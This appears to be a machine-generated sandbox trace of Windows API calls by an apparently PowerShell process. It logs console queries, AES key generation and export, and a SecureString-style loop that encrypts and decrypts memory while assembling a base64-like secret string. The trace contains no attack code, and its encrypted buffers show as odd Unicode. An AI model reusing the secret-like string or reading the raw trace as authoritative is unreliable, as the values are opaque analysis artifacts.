0x1b5 [0255.148] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0255.149] GetConsoleOutputCP () returned 0x1b5 [0255.149] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0255.149] GetConsoleOutputCP () returned 0x1b5 [0255.149] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0255.149] GetConsoleOutputCP () returned 0x1b5 [0255.149] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0255.149] GetConsoleOutputCP () returned 0x1b5 [0255.150] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0255.150] GetConsoleOutputCP () returned 0x1b5 [0255.150] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0255.150] GetConsoleOutputCP () returned 0x1b5 [0255.150] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0255.150] GetConsoleOutputCP () returned 0x1b5 [0255.150] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0255.150] GetConsoleOutputCP () returned 0x1b5 [0255.151] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0255.151] GetConsoleOutputCP () returned 0x1b5 [0255.151] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0255.151] GetConsoleOutputCP () returned 0x1b5 [0255.151] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0255.151] GetConsoleOutputCP () returned 0x1b5 [0255.151] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0255.151] GetConsoleOutputCP () returned 0x1b5 [0255.151] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0255.152] GetConsoleOutputCP () returned 0x1b5 [0255.152] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0255.152] GetConsoleOutputCP () returned 0x1b5 [0255.152] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0255.152] GetConsoleOutputCP () returned 0x1b5 [0255.152] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0255.152] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0255.153] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0255.153] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x242e870*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x242e870*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0255.153] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0255.154] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0255.155] EtwEventActivityIdControl () returned 0x0 [0255.155] EtwEventActivityIdControl () returned 0x0 [0255.155] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0255.155] EtwEventActivityIdControl () returned 0x0 [0255.155] EtwEventActivityIdControl () returned 0x0 [0255.155] EtwEventActivityIdControl () returned 0x0 [0255.157] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0255.158] EtwEventActivityIdControl () returned 0x0 [0255.158] EtwEventActivityIdControl () returned 0x0 [0255.158] EtwEventActivityIdControl () returned 0x0 [0255.160] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x5c4d3a8) returned 1 [0255.161] CryptGenKey (in: hProv=0x5c4d3a8, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c997e0) returned 1 [0255.161] CryptContextAddRef (hProv=0x5c4d3a8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0255.162] CryptExportKey (in: hKey=0x5c997e0, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0255.162] CryptExportKey (in: hKey=0x5c997e0, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x2436248, pdwDataLen=0x5a2e8c4 | out: pbData=0x2436248*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0255.162] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0255.163] EtwEventActivityIdControl () returned 0x0 [0255.163] EtwEventActivityIdControl () returned 0x0 [0255.163] EtwEventActivityIdControl () returned 0x0 [0255.163] SysStringLen (param_1="") returned 0x8 [0255.164] SysStringLen (param_1="z") returned 0x8 [0255.164] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.164] SysStringLen (param_1="墘ᾰ૸袈記⮩૧") returned 0x8 [0255.164] SysStringLen (param_1="墘ᾰ૸袈記⮩૧") returned 0x8 [0255.164] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.164] SysStringLen (param_1="zV") returned 0x8 [0255.164] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.164] SysStringLen (param_1="灕愰ꦿ규驅ߕꧦ먩") returned 0x8 [0255.164] SysStringLen (param_1="灕愰ꦿ규驅ߕꧦ먩") returned 0x8 [0255.164] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.164] SysStringLen (param_1="zVx") returned 0x8 [0255.164] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.165] SysStringLen (param_1="Ꮲ鼙愣㍷⍡\川⊲) returned 0x8 [0255.165] SysStringLen (param_1="Ꮲ鼙愣㍷⍡\川⊲) returned 0x8 [0255.165] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.165] SysStringLen (param_1="zVxa") returned 0x8 [0255.165] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.165] SysStringLen (param_1="攛㛡쫚뇢ﻐ\Ꮫ⊻) returned 0x8 [0255.165] SysStringLen (param_1="攛㛡쫚뇢ﻐ\Ꮫ⊻) returned 0x8 [0255.165] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.165] SysStringLen (param_1="zVxa4") returned 0x8 [0255.165] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.165] SysStringLen (param_1="Ĕ⓰⳽덟쏫梭痴") returned 0x8 [0255.165] SysStringLen (param_1="Ĕ⓰⳽덟쏫梭痴") returned 0x8 [0255.165] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.166] SysStringLen (param_1="zVxa4v") returned 0x8 [0255.166] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.166] SysStringLen (param_1="\駞往ࣸ⛦뵡ꇶ⊑) returned 0x8 [0255.166] SysStringLen (param_1="\駞往ࣸ⛦뵡ꇶ⊑) returned 0x8 [0255.166] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.166] SysStringLen (param_1="zVxa4vh") returned 0x8 [0255.166] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.166] SysStringLen (param_1="銒顺径ꉄ婺顡") returned 0x8 [0255.166] SysStringLen (param_1="銒顺径ꉄ婺顡") returned 0x8 [0255.166] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.166] SysStringLen (param_1="zVxa4vhZ") returned 0x8 [0255.166] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.167] SysStringLen (param_1="㔒ꛇᣨ克珏瓀娸乘") returned 0x8 [0255.167] SysStringLen (param_1="㔒ꛇᣨ克珏瓀娸乘") returned 0x8 [0255.167] SysStringLen (param_1="㔒ꛇᣨ克珏瓀娸乘") returned 0x8 [0255.167] SysStringLen (param_1="㔒ꛇᣨ克珏瓀娸乘") returned 0x10 [0255.167] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.168] SysStringLen (param_1="zVxa4vhZQ鹒澁슿⥋荣") returned 0x10 [0255.168] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.168] SysStringLen (param_1="㔒ꛇᣨ克珏瓀娸乘مΊມ劋ᩰ왦븴辤") returned 0x10 [0255.168] SysStringLen (param_1="㔒ꛇᣨ克珏瓀娸乘مΊມ劋ᩰ왦븴辤") returned 0x10 [0255.168] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.168] SysStringLen (param_1="zVxa4vhZQz澁슿⥋荣") returned 0x10 [0255.168] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.168] SysStringLen (param_1="㔒ꛇᣨ克珏瓀娸乘헵㇡ഺↁ噓\柞⋰) returned 0x10 [0255.168] SysStringLen (param_1="㔒ꛇᣨ克珏瓀娸乘헵㇡ഺↁ噓\柞⋰) returned 0x10 [0255.168] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.168] SysStringLen (param_1="zVxa4vhZQzu슿⥋荣") returned 0x10 [0255.168] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.169] SysStringLen (param_1="㔒ꛇᣨ克珏瓀娸乘梋ꏓ붒⥜䨗嗤뜂哠") returned 0x10 [0255.169] SysStringLen (param_1="㔒ꛇᣨ克珏瓀娸乘梋ꏓ붒⥜䨗嗤뜂哠") returned 0x10 [0255.169] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.169] SysStringLen (param_1="zVxa4vhZQzuu슿⥋荣") returned 0x10 [0255.169] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.169] SysStringLen (param_1="㔒ꛇᣨ克珏瓀娸乘综찂哀矃") returned 0x10 [0255.169] SysStringLen (param_1="㔒ꛇᣨ克珏瓀娸乘综찂哀矃") returned 0x10 [0255.169] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.169] SysStringLen (param_1="zVxa4vhZQzuu5슿⥋荣") returned 0x10 [0255.169] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.169] SysStringLen (param_1="㔒ꛇᣨ克珏瓀娸乘淹ꋱ䒧錣昍乽ꏽ伊") returned 0x10 [0255.169] SysStringLen (param_1="㔒ꛇᣨ克珏瓀娸乘淹ꋱ䒧錣昍乽ꏽ伊") returned 0x10 [0255.169] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.170] SysStringLen (param_1="zVxa4vhZQzuu59⥋荣") returned 0x10 [0255.170] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.170] SysStringLen (param_1="㔒ꛇᣨ克珏瓀娸乘ﭚ쇃쳰겙긣") returned 0x10 [0255.170] SysStringLen (param_1="㔒ꛇᣨ克珏瓀娸乘ﭚ쇃쳰겙긣") returned 0x10 [0255.170] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.170] SysStringLen (param_1="zVxa4vhZQzuu59v荣") returned 0x10 [0255.170] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.170] SysStringLen (param_1="㔒ꛇᣨ克珏瓀娸乘纀⟼㍙붮\忿餽≫) returned 0x10 [0255.170] SysStringLen (param_1="㔒ꛇᣨ克珏瓀娸乘纀⟼㍙붮\忿餽≫) returned 0x10 [0255.170] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.170] SysStringLen (param_1="zVxa4vhZQzuu59vQ") returned 0x10 [0255.170] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.170] SysStringLen (param_1="㔒ꛇᣨ克珏瓀娸乘į萳߻荷㺽⚑约鸾") returned 0x10 [0255.171] SysStringLen (param_1="㔒ꛇᣨ克珏瓀娸乘į萳߻荷㺽⚑约鸾") returned 0x10 [0255.171] SysStringLen (param_1="㔒ꛇᣨ克珏瓀娸乘į萳߻荷㺽⚑约鸾") returned 0x10 [0255.171] SysStringLen (param_1="㔒ꛇᣨ克珏瓀娸乘į萳߻荷㺽⚑约鸾") returned 0x18 [0255.171] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.171] SysStringLen (param_1="zVxa4vhZQzuu59vQ+벦炒㦹땒郮෕包") returned 0x18 [0255.171] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.171] SysStringLen (param_1="㔒ꛇᣨ克珏瓀娸乘į萳߻荷㺽⚑约鸾䎱劤鲨縒⻃쬝礴") returned 0x18 [0255.172] SysStringLen (param_1="㔒ꛇᣨ克珏瓀娸乘į萳߻荷㺽⚑约鸾䎱劤鲨縒⻃쬝礴") returned 0x18 [0255.172] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.172] SysStringLen (param_1="zVxa4vhZQzuu59vQ+s炒㦹땒郮෕包") returned 0x18 [0255.172] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.172] SysStringLen (param_1="㔒ꛇᣨ克珏瓀娸乘į萳߻荷㺽⚑约鸾玒뗷\૝¡層渀က⋧) returned 0x18 [0255.172] SysStringLen (param_1="㔒ꛇᣨ克珏瓀娸乘į萳߻荷㺽⚑约鸾玒뗷\૝¡層渀က⋧) returned 0x18 [0255.172] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.172] SysStringLen (param_1="zVxa4vhZQzuu59vQ+sI㦹땒郮෕包") returned 0x18 [0255.172] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.172] SysStringLen (param_1="㔒ꛇᣨ克珏瓀娸乘į萳߻荷㺽⚑约鸾舽컵㘿릔﮲㻑ဢ麭") returned 0x18 [0255.172] SysStringLen (param_1="㔒ꛇᣨ克珏瓀娸乘į萳߻荷㺽⚑约鸾舽컵㘿릔﮲㻑ဢ麭") returned 0x18 [0255.172] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.172] SysStringLen (param_1="zVxa4vhZQzuu59vQ+sI3땒郮෕包") returned 0x18 [0255.172] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.173] SysStringLen (param_1="㔒ꛇᣨ克珏瓀娸乘į萳߻荷㺽⚑约鸾굤▥早ɺ難錁쎲쳈") returned 0x18 [0255.173] SysStringLen (param_1="㔒ꛇᣨ克珏瓀娸乘į萳߻荷㺽⚑约鸾굤▥早ɺ難錁쎲쳈") returned 0x18 [0255.173] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.173] SysStringLen (param_1="zVxa4vhZQzuu59vQ+sI37郮෕包") returned 0x18 [0255.173] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.173] SysStringLen (param_1="㔒ꛇᣨ克珏瓀娸乘į萳߻荷㺽⚑约鸾蒇㧧ｆ靝⁛脹牦요") returned 0x18 [0255.173] SysStringLen (param_1="㔒ꛇᣨ克珏瓀娸乘į萳߻荷㺽⚑约鸾蒇㧧ｆ靝⁛脹牦요") returned 0x18 [0255.173] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.173] SysStringLen (param_1="zVxa4vhZQzuu59vQ+sI37B෕包") returned 0x18 [0255.173] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.173] SysStringLen (param_1="㔒ꛇᣨ克珏瓀娸乘į萳߻荷㺽⚑约鸾裌帺䍙滕癷＿䲀") returned 0x18 [0255.173] SysStringLen (param_1="㔒ꛇᣨ克珏瓀娸乘į萳߻荷㺽⚑约鸾裌帺䍙滕癷＿䲀") returned 0x18 [0255.173] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.174] SysStringLen (param_1="zVxa4vhZQzuu59vQ+sI37Bd包") returned 0x18 [0255.174] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.174] SysStringLen (param_1="㔒ꛇᣨ克珏瓀娸乘į萳߻荷㺽⚑约鸾㺠ὅ뾚皖ᩔ鲟嶙ᘢ") returned 0x18 [0255.174] SysStringLen (param_1="㔒ꛇᣨ克珏瓀娸乘į萳߻荷㺽⚑约鸾㺠ὅ뾚皖ᩔ鲟嶙ᘢ") returned 0x18 [0255.174] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.174] SysStringLen (param_1="zVxa4vhZQzuu59vQ+sI37Bd+") returned 0x18 [0255.174] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.174] SysStringLen (param_1="㔒ꛇᣨ克珏瓀娸乘į萳߻荷㺽⚑约鸾⫙ᚤƩꚦ랗刄㿞") returned 0x18 [0255.175] SysStringLen (param_1="㔒ꛇᣨ克珏瓀娸乘į萳߻荷㺽⚑约鸾⫙ᚤƩꚦ랗刄㿞") returned 0x18 [0255.175] SysStringLen (param_1="㔒ꛇᣨ克珏瓀娸乘į萳߻荷㺽⚑约鸾⫙ᚤƩꚦ랗刄㿞") returned 0x18 [0255.175] SysStringLen (param_1="㔒ꛇᣨ克珏瓀娸乘į萳߻荷㺽⚑约鸾⫙ᚤƩꚦ랗刄㿞") returned 0x20 [0255.175] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.175] SysStringLen (param_1="zVxa4vhZQzuu59vQ+sI37Bd+v⸱葉뭧ⵉǨⅷ") returned 0x20 [0255.175] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.175] SysStringLen (param_1="㔒ꛇᣨ克珏瓀娸乘į萳߻荷㺽⚑约鸾⫙ᚤƩꚦ랗刄㿞Ԫ催\⟙牣♓佄ᎀ∔) returned 0x20 [0255.175] SysStringLen (param_1="㔒ꛇᣨ克珏瓀娸乘į萳߻荷㺽⚑约鸾⫙ᚤƩꚦ랗刄㿞Ԫ催\⟙牣♓佄ᎀ∔) returned 0x20 [0255.176] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.176] SysStringLen (param_1="zVxa4vhZQzuu59vQ+sI37Bd+vt葉뭧ⵉǨⅷ") returned 0x20 [0255.176] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.176] SysStringLen (param_1="㔒ꛇᣨ克珏瓀娸乘į萳߻荷㺽⚑约鸾⫙ᚤƩꚦ랗刄㿞꬧씝㼐䔄釽酓ࣴᾋ") returned 0x20 [0255.176] SysStringLen (param_1="㔒ꛇᣨ克珏瓀娸乘į萳߻荷㺽⚑约鸾⫙ᚤƩꚦ랗刄㿞꬧씝㼐䔄釽酓ࣴᾋ") returned 0x20 [0255.176] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.176] SysStringLen (param_1="zVxa4vhZQzuu59vQ+sI37Bd+vtl뭧ⵉǨⅷ") returned 0x20 [0255.176] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.176] SysStringLen (param_1="㔒ꛇᣨ克珏瓀娸乘į萳߻荷㺽⚑约鸾⫙ᚤƩꚦ랗刄㿞薱㞫ဉ繖騃ẟ畊") returned 0x20 [0255.176] SysStringLen (param_1="㔒ꛇᣨ克珏瓀娸乘į萳߻荷㺽⚑约鸾⫙ᚤƩꚦ랗刄㿞薱㞫ဉ繖騃ẟ畊") returned 0x20 [0255.176] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.176] SysStringLen (param_1="zVxa4vhZQzuu59vQ+sI37Bd+vtluⵉǨⅷ") returned 0x20 [0255.177] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.177] SysStringLen (param_1="㔒ꛇᣨ克珏瓀娸乘į萳߻荷㺽⚑约鸾⫙ᚤƩꚦ랗刄㿞챊氵㌔￴퇫텿㎺䋭") returned 0x20 [0255.177] SysStringLen (param_1="㔒ꛇᣨ克珏瓀娸乘į萳߻荷㺽⚑约鸾⫙ᚤƩꚦ랗刄㿞챊氵㌔￴퇫텿㎺䋭") returned 0x20 [0255.177] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.177] SysStringLen (param_1="zVxa4vhZQzuu59vQ+sI37Bd+vtlugǨⅷ") returned 0x20 [0255.177] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.177] SysStringLen (param_1="㔒ꛇᣨ克珏瓀娸乘į萳߻荷㺽⚑约鸾⫙ᚤƩꚦ랗刄㿞█䤢뾒阼냓桥즲") returned 0x20 [0255.177] SysStringLen (param_1="㔒ꛇᣨ克珏瓀娸乘į萳߻荷㺽⚑约鸾⫙ᚤƩꚦ랗刄㿞█䤢뾒阼냓桥즲") returned 0x20 [0255.177] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.177] SysStringLen (param_1="zVxa4vhZQzuu59vQ+sI37Bd+vtlugaⅷ") returned 0x20 [0255.177] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.178] SysStringLen (param_1="㔒ꛇᣨ克珏瓀娸乘į萳߻荷㺽⚑约鸾⫙ᚤƩꚦ랗刄㿞씸㸋˼鵁") returned 0x20 [0255.178] SysStringLen (param_1="㔒ꛇᣨ克珏瓀娸乘į萳߻荷㺽⚑约鸾⫙ᚤƩꚦ랗刄㿞씸㸋˼鵁") returned 0x20 [0255.178] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.178] SysStringLen (param_1="zVxa4vhZQzuu59vQ+sI37Bd+vtlugae") returned 0x20 [0255.178] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.178] SysStringLen (param_1="㔒ꛇᣨ克珏瓀娸乘į萳߻荷㺽⚑约鸾⫙ᚤƩꚦ랗刄㿞쭚\统僉䰩Ⳬ齯嗚∦) returned 0x20 [0255.178] SysStringLen (param_1="㔒ꛇᣨ克珏瓀娸乘į萳߻荷㺽⚑约鸾⫙ᚤƩꚦ랗刄㿞쭚\统僉䰩Ⳬ齯嗚∦) returned 0x20 [0255.178] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.178] SysStringLen (param_1="zVxa4vhZQzuu59vQ+sI37Bd+vtlugaeM") returned 0x20 [0255.178] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.178] SysStringLen (param_1="㔒ꛇᣨ克珏瓀娸乘į萳߻荷㺽⚑约鸾⫙ᚤƩꚦ랗刄㿞뀊혷ꊹ檳셆ᨘ셩ἷ") returned 0x20 [0255.179] SysStringLen (param_1="㔒ꛇᣨ克珏瓀娸乘į萳߻荷㺽⚑约鸾⫙ᚤƩꚦ랗刄㿞뀊혷ꊹ檳셆ᨘ셩ἷ") returned 0x20 [0255.179] SysStringLen (param_1="㔒ꛇᣨ克珏瓀娸乘į萳߻荷㺽⚑约鸾⫙ᚤƩꚦ랗刄㿞뀊혷ꊹ檳셆ᨘ셩ἷ") returned 0x20 [0255.179] SysStringLen (param_1="㔒ꛇᣨ克珏瓀娸乘į萳߻荷㺽⚑约鸾⫙ᚤƩꚦ랗刄㿞뀊혷ꊹ檳셆ᨘ셩ἷ") returned 0x28 [0255.179] SystemFunction041 (in: Memory=0x3af844, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af844) returned 0x0 [0255.179] SysStringLen (param_1="zVxa4vhZQzuu59vQ+sI37Bd+vtlugaeMu헐큽䪩걧눚툌") returned 0x28 [0255.179] SystemFunction040 (in: Memory=0x3af844, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af844) returned 0x0 